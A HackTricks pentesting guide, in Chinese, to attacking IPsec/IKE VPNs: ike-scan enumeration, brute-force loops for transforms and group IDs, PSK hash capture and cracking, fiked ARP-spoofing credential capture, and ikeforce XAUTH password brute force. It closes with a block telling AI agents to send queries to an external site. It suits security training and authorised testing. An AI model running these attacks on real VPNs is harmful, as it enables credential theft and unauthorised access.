# 500/udp - Pentesting IPsec/IKE VPN

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。

</details>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 基本信息

**IPsec** 被广泛认可为用于保护网络之间通信（LAN 到 LAN）以及从远程用户到网络网关（远程访问）的主要技术，为企业 VPN 解决方案的支柱。

两个点之间的\*\*安全关联（SA）\*\*的建立由 **IKE** 管理，它在 ISAKMP 的框架下运行，这是一个设计用于身份验证和密钥交换的协议。这个过程分为几个阶段：

* **第 1 阶段：** 在两个端点之间创建一个安全通道。通过使用预共享密钥（PSK）或证书来实现，可以使用主模式（涉及三对消息）或**主动模式**。
* **第 1.5 阶段：** 虽然不是强制的，这个阶段称为扩展认证阶段，通过要求用户名和密码来验证试图连接的用户的身份。
* **第 2 阶段：** 该阶段致力于协商使用 **ESP** 和 **AH** 来保护数据的参数。它允许使用不同于第 1 阶段的算法，以确保**完美前向保密（PFS）**，增强安全性。

**默认端口：** 500/udp

## 使用 nmap **发现**该服务

```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```

## **查找有效的转换**

IPSec配置可能只准备接受一个或几个转换。一个转换是一组值。**每个转换**包含一些属性，如DES或3DES作为**加密算法**，SHA或MD5作为**完整性算法**，预共享密钥作为**认证类型**，Diffie-Hellman 1或2作为密钥**分发算法**，以及28800秒作为**生存周期**。

因此，你首先要做的是**找到一个有效的转换**，这样服务器才会与你通信。为此，你可以使用工具**ike-scan**。默认情况下，Ike-scan在主模式下工作，并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。

根据响应，你可以获取有关端点的一些信息：

```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```

正如您在前面的回复中所看到的，有一个名为**AUTH**的字段，其值为**PSK**。这意味着VPN是使用预共享密钥配置的（这对于渗透测试人员来说非常有用）。

**最后一行的值也非常重要：**

* *0 returned handshake; 0 returned notify:* 这意味着目标**不是IPsec网关**。
* ***1 returned handshake; 0 returned notify:*** 这意味着目标**已配置为IPsec，并愿意执行IKE协商，并且您提出的一个或多个变换是可接受的**（有效的变换将显示在输出中）。
* *0 returned handshake; 1 returned notify:* VPN网关在**没有任何变换可接受时**会响应通知消息（尽管有些网关不会，这种情况下需要进一步分析并尝试修订提议）。

因此，在这种情况下，我们已经有一个有效的变换，但如果您处于第3种情况，则需要**稍微进行暴力破解以找到有效的变换**：

首先，您需要创建所有可能的变换：

```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```

然后使用ike-scan对每个进行暴力破解（这可能需要几分钟）：

```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```

如果暴力破解没有成功，也许服务器甚至对有效的转换也没有握手而直接响应。那么，您可以尝试使用侵略模式进行相同的暴力破解：

```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```

希望**有效的转换被回显**。\
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
您还可以尝试使用[ikeforce](https://github.com/SpiderLabs/ikeforce)来暴力破解转换：

```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```

![](/files/DvuynNYMOcKolBFw9Ros)

在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**\
**2 = HMAC-SHA = SHA1（在这种情况下）。`--trans`格式为$Enc,$Hash,$Auth,$DH**

思科建议避免使用DH组1和2，因为它们不够强大。专家认为**资源丰富的国家可以轻松破解**使用这些弱组的数据的加密。这是通过使用一种特殊方法来准备它们以快速破解代码来实现的。尽管设置这种方法需要花费大量资金，但它使这些强大的国家能够实时读取使用不够强大（如1,024位或更小）组的加密数据。

### 服务器指纹识别

然后，您可以使用ike-scan尝试**发现设备的供应商**。该工具发送初始提议并停止重播。然后，它将**分析**从服务器接收的**消息**与匹配响应模式之间的**时间**差异，渗透测试人员可以成功识别VPN网关供应商。此外，一些VPN服务器将使用带有IKE的可选**供应商ID（VID）负载**。

**如有需要，请指定有效的转换**（使用--trans）

如果IKE发现供应商，它将打印出来：

```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```

这也可以通过 nmap 脚本 ***ike-version*** 实现

## 查找正确的 ID（组名）

为了被允许捕获哈希值，您需要一个支持主动模式和正确 ID（组名）的有效转换。您可能不知道有效的组名，因此您将不得不使用暴力破解来尝试。\
为此，我建议您使用 2 种方法：

### 使用 ike-scan 进行 ID 暴力破解

首先尝试使用虚假 ID 发出请求，尝试收集哈希值（"-P"）:

```bash
ike-scan -P -M -A -n fakeID <IP>
```

如果**没有返回哈希值**，那么可能这种暴力破解方法会奏效。**如果返回了某个哈希值，这意味着将为一个虚假的ID发送回一个虚假的哈希值，因此这种方法不可靠**用于暴力破解ID。例如，可能会返回一个虚假的哈希值（在现代版本中会发生）：

![](/files/HK1uBeNWTZECjCLzOUpM)

但是，如我所说，如果没有返回哈希值，那么您应该尝试使用ike-scan来暴力破解常见的组名。

此脚本**将尝试暴力破解可能的ID**，并将返回发生有效握手的ID（这将是一个有效的组名）。

如果您发现了特定的转换，请将其添加到ike-scan命令中。如果您发现了多个转换，请随时添加一个新循环以尝试它们（您应该尝试它们所有直到其中一个正常工作为止）。

您可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)中的常见组名来进行暴力破解：

```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```

### 使用 Iker 进行 ID 的暴力破解

[iker.py](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法来 **根据 ike-scan 的输出找到有效的 ID**。

### 使用 ikeforce 进行 ID 的暴力破解

[ikeforce.py](https://github.com/SpiderLabs/ikeforce) 是一个工具，也可以用来 **暴力破解 ID**。该工具将 **尝试利用不同的漏洞**，这些漏洞可以用来 **区分有效和无效的 ID**（可能会有误报和漏报，这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法）。

默认情况下，**ikeforce** 会在开始时发送一些随机的 id 来检查服务器的行为，并确定要使用的策略。

* **第一种方法** 是通过 **搜索** Cisco 系统的 **Dead Peer Detection DPD** 信息来暴力破解组名（只有在组名正确时服务器才会回复此信息）。
* 可用的 **第二种方法** 是 **检查每次尝试发送的响应数量**，因为有时在使用正确的 id 时会发送更多的数据包。
* **第三种方法** 是在响应错误的 ID 时 **搜索“INVALID-ID-INFORMATION”**。
* 最后，如果服务器对检查没有任何回复，**ikeforce** 将尝试暴力破解服务器，并检查当发送正确的 id 时服务器是否会回复一些数据包。\
  显然，暴力破解 id 的目的是在获得有效 id 后获取 **PSK**。然后，使用 **id** 和 **PSK**，您将需要暴力破解 XAUTH（如果已启用）。

如果您发现了特定的转换，请将其添加到 ikeforce 命令中。如果您发现了多个转换，请随时添加一个新循环以尝试所有这些转换（您应该尝试它们直到其中一个正常工作为止）。

```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```

### 嗅探ID

(来自书籍**网络安全评估：了解您的网络**): 通过嗅探VPN客户端和服务器之间的连接，也有可能获取有效的用户名，因为包含客户端ID的第一个攻击模式数据包是明文发送的

![](/files/HyWib6h4FHKuNmfVRaYp)

## 捕获和破解哈希

最后，如果您找到了一个**有效的转换**和**组名**，并且**允许使用攻击模式**，那么您可以非常容易地获取可破解的哈希值:

```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```

哈希将保存在 *hash.txt* 中。

您可以使用 **psk-crack**、**john**（使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)）和 **hashcat** 来 **破解** 这个哈希：

```bash
psk-crack -d <Wordlist_path> psk.txt
```

## **XAuth**

**Aggressive mode IKE**结合**预共享密钥 (PSK)通常用于群组认证**目的。这种方法通过**XAuth (扩展认证)进行增强，引入了额外的用户认证**层。这种认证通常利用**Microsoft Active Directory**、**RADIUS**或类似系统。

转向**IKEv2**时，观察到一个显著的变化，即使用**EAP (可扩展认证协议)代替XAuth**来对用户进行认证。这种变化突显了安全通信协议中认证实践的演变。

### 本地网络中间人攻击以捕获凭据

因此，您可以使用 *fiked* 捕获登录数据，并查看是否存在任何默认用户名 (您需要将 IKE 流量重定向到 `fiked` 进行嗅探，这可以通过 ARP 欺骗来完成，[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked 将充当 VPN 终端点，并捕获 XAuth 凭据：

```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```

### 使用 IPSec 尝试进行中间人攻击，并阻止所有流量访问端口 500，如果 IPSec 隧道无法建立，可能会以明文形式发送流量。

### 使用 ikeforce 对 XAUTH 用户名和密码进行暴力破解

要对 **XAUTH** 进行暴力破解（当你知道一个有效的组名 **id** 和 **psk** 时），你可以使用一个用户名或用户名列表以及一个密码列表：

```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```

这样，ikeforce 将尝试使用每个用户名:密码组合进行连接。

如果找到一个或多个有效的 transforms，就像在之前的步骤中使用它们一样。

## 使用 IPSEC VPN 进行身份验证

在 Kali 中，**VPNC** 用于建立 IPsec 隧道。**配置文件** 必须位于目录 `/etc/vpnc/` 中。您可以使用命令 ***vpnc*** 来启动这些配置文件。

以下命令和配置说明了使用 VPNC 建立 VPN 连接的过程：

```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```

在这个设置中：

* 用 VPN 网关的实际 IP 地址替换 `[VPN_GATEWAY_IP]`。
* 用 VPN 连接的标识符替换 `[VPN_CONNECTION_ID]`。
* 用 VPN 的组密码替换 `[VPN_GROUP_SECRET]`。
* 用 VPN 认证凭据替换 `[VPN_USERNAME]` 和 `[VPN_PASSWORD]`。
* `[PID]` 表示 `vpnc` 启动时将分配的进程 ID。

在配置 VPN 时，请确保使用实际安全值替换占位符。

## 参考资料

* [PSK 破解论文](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [扫描 VPN 实现](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
* 《网络安全评估第三版》

## Shodan

* `port:500 IKE`

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/ipsec-ike-vpn-pentesting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
